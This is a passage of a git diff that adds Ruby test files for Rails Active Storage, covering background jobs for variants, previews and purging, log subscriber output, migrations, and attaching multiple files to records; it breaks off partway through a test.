index 0000000000000..4e6eb46ee133e
--- /dev/null
+++ b/activestorage/test/jobs/create_variants_job_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::CreateVariantsJobTest < ActiveJob::TestCase
+  setup do
+    @variants = [{ resize_to_limit: [ 100, 100 ] }, { resize_to_limit: [ 200, 200 ] }]
+  end
+
+  test "creates preview when previewable" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+
+    assert_changes -> { blob.preview_image.attached? }, from: false, to: true do
+      ActiveStorage::CreateVariantsJob.perform_now blob, variants: @variants, process: :later
+    end
+  end
+
+  test "enqueues individual transform jobs for each transformation when process: :later" do
+    blob = create_file_blob
+    ActiveStorage::CreateVariantsJob.perform_now blob, variants: @variants, process: :later
+
+    @variants.each do |transformations|
+      assert_enqueued_with job: ActiveStorage::TransformJob, args: [ blob, transformations ]
+    end
+  end
+
+  test "does not transform when process: :later" do
+    blob = create_file_blob
+    ActiveStorage::CreateVariantsJob.perform_now blob, variants: @variants, process: :later
+
+    @variants.each do |transformations|
+      assert_not blob.variant(transformations).processed?
+    end
+  end
+
+  test "performs transformations immediately when process: :immediately" do
+    blob = create_file_blob
+    ActiveStorage::CreateVariantsJob.perform_now blob, variants: @variants, process: :immediately
+
+    @variants.each do |transformations|
+      assert blob.variant(transformations).processed?
+    end
+  end
+end
diff --git a/activestorage/test/jobs/preview_image_job_test.rb b/activestorage/test/jobs/preview_image_job_test.rb
new file mode 100644
index 0000000000000..ec439da8ae656
--- /dev/null
+++ b/activestorage/test/jobs/preview_image_job_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::PreviewImageJobTest < ActiveJob::TestCase
+  setup do
+    @blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    @transformation = { resize_to_limit: [ 100, 100 ] }
+  end
+
+  test "creates preview" do
+    ActiveStorage.deprecator.silence do
+      assert_changes -> { @blob.preview_image.attached? }, from: false, to: true do
+        ActiveStorage::PreviewImageJob.perform_now @blob, [ @transformation ]
+      end
+    end
+  end
+
+  test "enqueues transform variant jobs" do
+    ActiveStorage.deprecator.silence do
+      assert_enqueued_with job: ActiveStorage::TransformJob, args: [ @blob, @transformation ] do
+        ActiveStorage::PreviewImageJob.perform_now @blob, [ @transformation ]
+      end
+    end
+  end
+end
diff --git a/activestorage/test/jobs/purge_job_test.rb b/activestorage/test/jobs/purge_job_test.rb
new file mode 100644
index 0000000000000..251022a96fb1f
--- /dev/null
+++ b/activestorage/test/jobs/purge_job_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::PurgeJobTest < ActiveJob::TestCase
+  setup { @blob = create_blob }
+
+  test "purges" do
+    assert_difference -> { ActiveStorage::Blob.count }, -1 do
+      ActiveStorage::PurgeJob.perform_now @blob
+    end
+
+    assert_not ActiveStorage::Blob.exists?(@blob.id)
+    assert_not ActiveStorage::Blob.service.exist?(@blob.key)
+  end
+
+  test "ignores missing blob" do
+    @blob.purge
+
+    perform_enqueued_jobs do
+      assert_nothing_raised do
+        ActiveStorage::PurgeJob.perform_later @blob
+      end
+    end
+  end
+end
diff --git a/activestorage/test/jobs/transform_job_test.rb b/activestorage/test/jobs/transform_job_test.rb
new file mode 100644
index 0000000000000..3f26302b33e4d
--- /dev/null
+++ b/activestorage/test/jobs/transform_job_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::TransformJobTest < ActiveJob::TestCase
+  setup { @blob = create_file_blob }
+
+  test "creates variant" do
+    transformations = { resize_to_limit: [100, 100] }
+
+    assert_changes -> { @blob.variant(transformations).processed? }, from: false, to: true do
+      perform_enqueued_jobs do
+        ActiveStorage::TransformJob.perform_later @blob, transformations
+      end
+    end
+  end
+
+  test "creates variant for previewable file" do
+    @blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    transformations = { resize_to_limit: [100, 100] }
+
+    assert_changes -> { @blob.preview(transformations).processed? }, from: false, to: true do
+      perform_enqueued_jobs do
+        ActiveStorage::TransformJob.perform_later @blob, transformations
+      end
+      @blob.reload
+    end
+
+    assert @blob.preview(transformations).image.variant(transformations).processed?
+  end
+
+  test "creates variant when untracked" do
+    @was_tracking, ActiveStorage.track_variants = ActiveStorage.track_variants, false
+    transformations = { resize_to_limit: [100, 100] }
+
+    begin
+      assert_changes -> { @blob.variant(transformations).processed? }, from: false, to: true do
+        perform_enqueued_jobs do
+          ActiveStorage::TransformJob.perform_later @blob, transformations
+        end
+      end
+    ensure
+      ActiveStorage.track_variants = @was_tracking
+    end
+  end
+
+  test "null transformer returns original file" do
+    @was_transformer = ActiveStorage.variant_transformer
+    ActiveStorage.variant_transformer = ActiveStorage::Transformers::NullTransformer
+
+    transformations = { resize_to_limit: [100, 100] }
+    assert_changes -> { @blob.variant(transformations).processed? }, from: false, to: true do
+      perform_enqueued_jobs do
+        ActiveStorage::TransformJob.perform_later @blob, transformations
+      end
+    end
+
+    original = @blob.download
+    result   = @blob.variant(transformations).processed.download
+    assert_equal original, result
+  ensure
+    ActiveStorage.variant_transformer = @was_transformer
+  end
+end
diff --git a/activestorage/test/log_subscriber_test.rb b/activestorage/test/log_subscriber_test.rb
new file mode 100644
index 0000000000000..63ccd8387bf69
--- /dev/null
+++ b/activestorage/test/log_subscriber_test.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "active_support/log_subscriber/test_helper"
+require "active_support/testing/event_reporter_assertions"
+require "active_storage/structured_event_subscriber"
+require "active_storage/log_subscriber"
+require "database/setup"
+
+module ActiveStorage
+  class LogSubscriberTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    setup do
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActiveStorage::LogSubscriber.logger
+    ActiveStorage::LogSubscriber.logger = @logger
+  end
+
+    teardown do
+      ActiveStorage::LogSubscriber.logger = @old_logger
+    end
+
+    def run(*)
+      with_debug_event_reporting do
+        super
+      end
+    end
+
+    test "service_upload" do
+      User.create!(name: "Test", avatar: { io: StringIO.new, filename: "avatar.jpg" })
+
+      assert_equal 1, @logger.logged(:info).count
+      assert_match(/Uploaded file/, @logger.logged(:info).first)
+    end
+
+    test "service_download" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.download
+
+      assert_equal 2, @logger.logged(:info).count
+      assert_match(/Downloaded file/, @logger.logged(:info).last)
+    end
+
+    test "service_streaming_download" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.download { }
+
+      assert_equal 2, @logger.logged(:info).count
+      assert_match(/Downloaded file/, @logger.logged(:info).last)
+    end
+
+    test "preview" do
+      blob = create_file_blob(filename: "cropped.pdf", content_type: "application/pdf")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.preview(resize_to_limit: [640, 280]).processed
+
+      assert_equal 6, @logger.logged(:info).count
+      assert_match(/Previewed file/, @logger.logged(:info)[2])
+    end
+
+    test "service_delete" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.purge
+
+      assert_equal 2, @logger.logged(:info).count
+      assert_match(/Deleted file/, @logger.logged(:info).last)
+    end
+
+    test "service_delete_prefixed" do
+      blob = create_file_blob(fixture: "colors.bmp")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.purge
+
+      assert_equal 3, @logger.logged(:info).count
+      assert_match(/Deleted files by key prefix/, @logger.logged(:info).last)
+    end
+
+    test "service_exist" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.service.exist? user.avatar.key
+
+      assert_equal 1, @logger.logged(:debug).count
+      assert_match(/Checked if file exists/, @logger.logged(:debug).last)
+    end
+
+    test "service_url" do
+      blob = create_blob(filename: "avatar.jpg")
+      user = User.create!(name: "Test", avatar: blob)
+
+      user.avatar.url
+
+      assert_equal 1, @logger.logged(:debug).count
+      assert_match(/Generated URL for file/, @logger.logged(:debug).last)
+    end
+
+    test "service_mirror" do
+      blob = create_blob(filename: "avatar.jpg")
+
+      mirror_config = (1..3).to_h do |i|
+        [ "mirror_#{i}",
+          service: "Disk",
+          root: Dir.mktmpdir("active_storage_tests_mirror_#{i}") ]
+      end
+
+      config = mirror_config.merge \
+        mirror:  { service: "Mirror", primary: "primary", mirrors: mirror_config.keys },
+        primary: { service: "Disk", root: Dir.mktmpdir("active_storage_tests_primary") }
+
+      service = ActiveStorage::Service.configure :mirror, config
+      service.upload blob.key, StringIO.new(blob.download), checksum: blob.checksum
+
+      service.mirror blob.key, checksum: blob.checksum
+
+      assert_equal 4, @logger.logged(:debug).count
+      assert_match(/Mirrored file/, @logger.logged(:debug).last)
+    end
+  end
+end
diff --git a/activestorage/test/migrations_test.rb b/activestorage/test/migrations_test.rb
new file mode 100644
index 0000000000000..7e4ad4bdeeebd
--- /dev/null
+++ b/activestorage/test/migrations_test.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::MigrationsTest < ActiveSupport::TestCase
+  setup do
+    @original_verbose = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+
+    @connection = ActiveRecord::Base.lease_connection
+    @original_options = Rails.configuration.generators.options.deep_dup
+  end
+
+  teardown do
+    Rails.configuration.generators.options = @original_options
+    rerun_migration
+    ActiveRecord::Migration.verbose = @original_verbose
+  end
+
+  test "migration creates tables with default primary and foreign key types" do
+    rerun_migration
+
+    active_storage_tables.each do |table|
+      assert_equal :integer, primary_key(table).type
+
+      foreign_keys(table).each do |foreign_key|
+        assert_equal :integer, foreign_key.type
+      end
+    end
+  end
+
+  test "migration creates tables with configured primary and foreign key types" do
+    Rails.configuration.generators do |g|
+      g.orm :active_record, primary_key_type: :string
+    end
+
+    rerun_migration
+
+    active_storage_tables.each do |table|
+      assert_equal :string, primary_key(table).type
+
+      foreign_keys(table).each do |foreign_key|
+        assert_equal :string, foreign_key.type
+      end
+    end
+  end
+
+  private
+    def rerun_migration
+      CreateActiveStorageTables.migrate(:down)
+      CreateActiveStorageTables.migrate(:up)
+    end
+
+    def active_storage_tables
+      @active_storage_tables ||= ActiveStorage::Record.descendants.map { |klass| klass.table_name.to_sym }
+    end
+
+    def primary_key(table)
+      @connection.columns(table).find { |c| c.name == "id" }
+    end
+
+    def foreign_keys(table)
+      columns = @connection.foreign_keys(table).map(&:column)
+      @connection.columns(table).select { |c| columns.include?(c.name) }
+    end
+end
diff --git a/activestorage/test/models/attached/many_test.rb b/activestorage/test/models/attached/many_test.rb
new file mode 100644
index 0000000000000..646a5c46e2ab3
--- /dev/null
+++ b/activestorage/test/models/attached/many_test.rb
@@ -0,0 +1,935 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::ManyAttachedTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    @user = User.create!(name: "Josh")
+  end
+
+  teardown do
+    ActiveStorage::Blob.all.each(&:delete)
+  end
+
+  test "attaching existing blobs to an existing record" do
+    @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+
+    assert_not_empty @user.highlights_attachments
+    assert_equal 2, @user.highlights_blobs.count
+  end
+
+  test "attaching existing blobs from signed IDs to an existing record" do
+    @user.highlights.attach create_blob(filename: "funky.jpg").signed_id, create_blob(filename: "town.jpg").signed_id
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching new blobs from Hashes to an existing record" do
+    @user.highlights.attach(
+      { io: StringIO.new("STUFF"), filename: "funky.jpg", content_type: "image/jpeg" },
+      { io: StringIO.new("THINGS"), filename: "town.jpg", content_type: "image/jpeg" })
+
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching new blobs from uploaded files to an existing record" do
+    @user.highlights.attach fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4")
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching existing blobs to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+    assert_not @user.highlights.first.persisted?
+    assert_not @user.highlights.second.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "funky.jpg", @user.highlights.reload.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching existing blobs from signed IDs to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.highlights.attach create_blob(filename: "funky.jpg").signed_id, create_blob(filename: "town.jpg").signed_id
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+    assert_not @user.highlights.first.persisted?
+    assert_not @user.highlights.second.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "funky.jpg", @user.highlights.reload.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching new blobs from Hashes to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.highlights.attach(
+      { io: StringIO.new("STUFF"), filename: "funky.jpg", content_type: "image/jpeg" },
+      { io: StringIO.new("THINGS"), filename: "town.jpg", content_type: "image/jpeg" })
+
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+    assert_not @user.highlights.first.persisted?
+    assert_not @user.highlights.second.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "funky.jpg", @user.highlights.reload.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching new blobs from uploaded files to an existing, changed record" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.highlights.attach fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4")
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert_not @user.highlights.first.persisted?
+    assert_not @user.highlights.second.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+
+    @user.save!
+    assert_equal "racecar.jpg", @user.highlights.reload.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+  end
+
+  test "attaching new blobs from uploaded files to an existing, changed record one at a time" do
+    @user.name = "Tina"
+    assert_predicate @user, :changed?
+
+    @user.highlights.attach fixture_file_upload("racecar.jpg")
+    @user.highlights.attach fixture_file_upload("video.mp4")
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert_not @user.highlights.first.persisted?
+    assert_not @user.highlights.second.persisted?
+    assert_predicate @user, :will_save_change_to_name?
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+
+    @user.save!
+    assert_equal "racecar.jpg", @user.highlights.reload.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+  end
+
+  test "attaching new blobs within a transaction uploads all the files" do
+    @user.highlights.attach fixture_file_upload("image.gif")
+
+    ActiveRecord::Base.transaction do
+      @user.highlights.attach fixture_file_upload("racecar.jpg")
+      @user.highlights.attach fixture_file_upload("video.mp4")
+    end
+
+    assert_equal "image.gif", @user.highlights.first.filename.to_s
+    assert_equal "racecar.jpg", @user.highlights.second.filename.to_s
+    assert_equal "video.mp4", @user.highlights.third.filename.to_s
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.third.key)
+  end
+
+  test "attaching many new blobs within a transaction uploads all the files" do
+    ActiveRecord::Base.transaction do
+      @user.highlights.attach [fixture_file_upload("image.gif"), fixture_file_upload("racecar.jpg")]
+      @user.highlights.attach fixture_file_upload("video.mp4")
+    end
+
+    assert_equal "image.gif", @user.highlights.first.filename.to_s
+    assert_equal "racecar.jpg", @user.highlights.second.filename.to_s
+    assert_equal "video.mp4", @user.highlights.third.filename.to_s
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.third.key)
+  end
+
+  test "attaching many new blobs within a transaction on a dirty record uploads all the files" do
+    @user.name = "Tina"
+
+    ActiveRecord::Base.transaction do
+      @user.highlights.attach fixture_file_upload("image.gif")
+      @user.highlights.attach fixture_file_upload("racecar.jpg")
+    end
+
+    @user.highlights.attach fixture_file_upload("video.mp4")
+    @user.save
+
+    assert_equal "image.gif", @user.highlights.first.filename.to_s
+    assert_equal "racecar.jpg", @user.highlights.second.filename.to_s
+    assert_equal "video.mp4", @user.highlights.third.filename.to_s
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.third.key)
+  end
+
+  test "attaching many new blobs within a transaction on a new record uploads all the files" do
+    user = User.create!(name: "John") do |user|
+      user.highlights.attach(io: StringIO.new("STUFF"), filename: "funky.jpg", content_type: "image/jpeg")
+      user.highlights.attach(io: StringIO.new("THINGS"), filename: "town.jpg", content_type: "image/jpeg")
+    end
+
+    assert_equal 2, user.highlights.count
+    assert_equal "funky.jpg", user.highlights.first.filename.to_s
+    assert_equal "town.jpg", user.highlights.second.filename.to_s
+    assert ActiveStorage::Blob.service.exist?(user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(user.highlights.second.key)
+  end
+
+  test "attaching new blobs within a transaction create the exact amount of records" do
+    assert_difference -> { ActiveStorage::Blob.count }, +2 do
+      ActiveRecord::Base.transaction do
+        @user.highlights.attach fixture_file_upload("racecar.jpg")
+        @user.highlights.attach fixture_file_upload("video.mp4")
+      end
+    end
+
+    assert_equal 2, @user.highlights.count
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+  end
+
+  test "attaching existing blobs to an existing record one at a time" do
+    @user.highlights.attach create_blob(filename: "funky.jpg")
+    @user.highlights.attach create_blob(filename: "town.jpg")
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+
+    @user.reload
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "updating an existing record to attach existing blobs" do
+    @user.update! highlights: [ create_file_blob(filename: "racecar.jpg"), create_file_blob(filename: "video.mp4") ]
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+  end
+
+  test "updating an existing record to attach existing blobs from signed IDs" do
+    @user.update! highlights: [ create_blob(filename: "funky.jpg").signed_id, create_blob(filename: "town.jpg").signed_id ]
+    assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+    assert_equal "town.jpg", @user.highlights.second.filename.to_s
+  end
+
+  test "successfully updating an existing record to attach new blobs from uploaded files" do
+    @user.highlights = [ fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4") ]
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+
+    @user.save!
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+  end
+
+  test "unsuccessfully updating an existing record to attach new blobs from uploaded files" do
+    assert_not @user.update(name: "", highlights: [ fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4") ])
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+  end
+
+  test "replacing existing, dependent attachments on an existing record via assign and attach" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |old_blobs|
+      @user.highlights.attach old_blobs
+
+      @user.highlights = []
+      assert_not @user.highlights.attached?
+
+      perform_enqueued_jobs do
+        @user.highlights.attach create_blob(filename: "whenever.jpg"), create_blob(filename: "wherever.jpg")
+      end
+
+      assert_equal "whenever.jpg", @user.highlights.first.filename.to_s
+      assert_equal "wherever.jpg", @user.highlights.second.filename.to_s
+      assert_not ActiveStorage::Blob.exists?(old_blobs.first.id)
+      assert_not ActiveStorage::Blob.exists?(old_blobs.second.id)
+      assert_not ActiveStorage::Blob.service.exist?(old_blobs.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(old_blobs.second.key)
+    end
+  end
+
+  test "replacing existing, independent attachments on an existing record via assign and attach" do
+    @user.vlogs.attach create_blob(filename: "funky.mp4"), create_blob(filename: "town.mp4")
+
+    @user.vlogs = []
+    assert_not @user.vlogs.attached?
+
+    assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+      @user.vlogs.attach create_blob(filename: "whenever.mp4"), create_blob(filename: "wherever.mp4")
+    end
+
+    assert_equal "whenever.mp4", @user.vlogs.first.filename.to_s
+    assert_equal "wherever.mp4", @user.vlogs.second.filename.to_s
+  end
+
+  test "replacing attachments with an empty list" do
+    @user.highlights = []
+    assert_empty @user.highlights
+  end
+
+  test "replacing attachments with a list containing empty items" do
+    @user.highlights = [""]
+    assert_empty @user.highlights
+  end
+
+  test "replacing attachments with a list containing a mixture of empty and present items" do
+    @user.highlights = [ "", fixture_file_upload("racecar.jpg") ]
+    assert_equal 1, @user.highlights.size
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+  end
+
+  test "successfully updating an existing record to replace existing, dependent attachments" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |old_blobs|
+      @user.highlights.attach old_blobs
+
+      perform_enqueued_jobs do
+        @user.update! highlights: [ create_blob(filename: "whenever.jpg"), create_blob(filename: "wherever.jpg") ]
+      end
+
+      assert_equal "whenever.jpg", @user.highlights.first.filename.to_s
+      assert_equal "wherever.jpg", @user.highlights.second.filename.to_s
+      assert_not ActiveStorage::Blob.exists?(old_blobs.first.id)
+      assert_not ActiveStorage::Blob.exists?(old_blobs.second.id)
+      assert_not ActiveStorage::Blob.service.exist?(old_blobs.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(old_blobs.second.key)
+    end
+  end
+
+  test "successfully updating an existing record to replace existing, independent attachments" do
+    @user.vlogs.attach create_blob(filename: "funky.mp4"), create_blob(filename: "town.mp4")
+
+    assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+      @user.update! vlogs: [ create_blob(filename: "whenever.mp4"), create_blob(filename: "wherever.mp4") ]
+    end
+
+    assert_equal "whenever.mp4", @user.vlogs.first.filename.to_s
+    assert_equal "wherever.mp4", @user.vlogs.second.filename.to_s
+  end
+
+  test "unsuccessfully updating an existing record to replace existing attachments" do
+    @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+
+    assert_no_enqueued_jobs do
+      assert_not @user.update(name: "", highlights: [ fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4") ])
+    end
+
+    assert_equal "racecar.jpg", @user.highlights.first.filename.to_s
+    assert_equal "video.mp4", @user.highlights.second.filename.to_s
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    assert_not ActiveStorage::Blob.service.exist?(@user.highlights.second.key)
+  end
+
+  test "updating an existing record to attach one new blob and one previously-attached blob" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      @user.highlights.attach blobs.first
+
+      perform_enqueued_jobs do
+        assert_no_changes -> { @user.highlights_attachments.first.id } do
+          @user.update! highlights: blobs
+        end
+      end
+
+      assert_equal "funky.jpg", @user.highlights.first.filename.to_s
+      assert_equal "town.jpg", @user.highlights.second.filename.to_s
+      assert ActiveStorage::Blob.service.exist?(@user.highlights.first.key)
+    end
+  end
+
+  test "updating an existing record to remove dependent attachments" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      @user.highlights.attach blobs
+
+      assert_enqueued_with job: ActiveStorage::PurgeJob, args: [ blobs.first ] do
+        assert_enqueued_with job: ActiveStorage::PurgeJob, args: [ blobs.second ] do
+          @user.update! highlights: []
+        end
+      end
+
+      assert_not @user.highlights.attached?
+    end
+  end
+
+  test "updating an existing record to remove independent attachments" do
+    [ create_blob(filename: "funky.mp4"), create_blob(filename: "town.mp4") ].tap do |blobs|
+      @user.vlogs.attach blobs
+
+      assert_no_enqueued_jobs only: ActiveStorage::PurgeJob do
+        @user.update! vlogs: []
+      end
+
+      assert_not @user.vlogs.attached?
+    end
+  end
+
+  test "updating an existing record with attachments" do
+    @user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+
+    assert_difference -> { @user.reload.highlights.count }, -2 do
+      @user.update! highlights: []
+    end
+
+    assert_difference -> { @user.reload.highlights.count }, 2 do
+      @user.update! highlights: [ create_blob(filename: "whenever.jpg"), create_blob(filename: "wherever.jpg") ]
+    end
+
+    assert_difference -> { @user.reload.highlights.count }, -2 do
+      @user.update! highlights: nil
+    end
+  end
+
+  test "attaching existing blobs to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.highlights.attach create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg")
+      assert_predicate user, :new_record?
+      assert_equal "funky.jpg", user.highlights.first.filename.to_s
+      assert_equal "town.jpg", user.highlights.second.filename.to_s
+
+      user.save!
+      assert_equal "funky.jpg", user.highlights.first.filename.to_s
+      assert_equal "town.jpg", user.highlights.second.filename.to_s
+    end
+  end
+
+  test "attaching an existing blob from a signed ID to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.highlights.attach create_blob(filename: "funky.jpg").signed_id
+      assert_predicate user, :new_record?
+      assert_equal "funky.jpg", user.highlights.first.filename.to_s
+
+      user.save!
+      assert_equal "funky.jpg", user.reload.highlights.first.filename.to_s
+    end
+  end
+
+  test "attaching new blobs from Hashes to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.highlights.attach(
+        { io: StringIO.new("STUFF"), filename: "funky.jpg", content_type: "image/jpeg" },
+        { io: StringIO.new("THINGS"), filename: "town.jpg", content_type: "image/jpeg" })
+
+      assert_predicate user, :new_record?
+      assert_predicate user.highlights.first, :new_record?
+      assert_predicate user.highlights.second, :new_record?
+      assert_predicate user.highlights.first.blob, :new_record?
+      assert_predicate user.highlights.second.blob, :new_record?
+      assert_equal "funky.jpg", user.highlights.first.filename.to_s
+      assert_equal "town.jpg", user.highlights.second.filename.to_s
+      assert_not ActiveStorage::Blob.service.exist?(user.highlights.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(user.highlights.second.key)
+
+      user.save!
+      assert_predicate user.highlights.first, :persisted?
+      assert_predicate user.highlights.second, :persisted?
+      assert_predicate user.highlights.first.blob, :persisted?
+      assert_predicate user.highlights.second.blob, :persisted?
+      assert_equal "funky.jpg", user.reload.highlights.first.filename.to_s
+      assert_equal "town.jpg", user.highlights.second.filename.to_s
+      assert ActiveStorage::Blob.service.exist?(user.highlights.first.key)
+      assert ActiveStorage::Blob.service.exist?(user.highlights.second.key)
+    end
+  end
+
+  test "attaching new blobs from uploaded files to a new record" do
+    User.new(name: "Jason").tap do |user|
+      user.highlights.attach fixture_file_upload("racecar.jpg"), fixture_file_upload("video.mp4")
+      assert_predicate user, :new_record?
+      assert_predicate user.highlights.first, :new_record?
+      assert_predicate user.highlights.second, :new_record?
+      assert_predicate user.highlights.first.blob, :new_record?
+      assert_predicate user.highlights.second.blob, :new_record?
+      assert_equal "racecar.jpg", user.highlights.first.filename.to_s
+      assert_equal "video.mp4", user.highlights.second.filename.to_s
+      assert_not ActiveStorage::Blob.service.exist?(user.highlights.first.key)
+      assert_not ActiveStorage::Blob.service.exist?(user.highlights.second.key)
+
+      user.save!
+      assert_predicate user.highlights.first, :persisted?
+      assert_predicate user.highlights.second, :persisted?
+      assert_predicate user.highlights.first.blob, :persisted?
+      assert_predicate user.highlights.second.blob, :persisted?
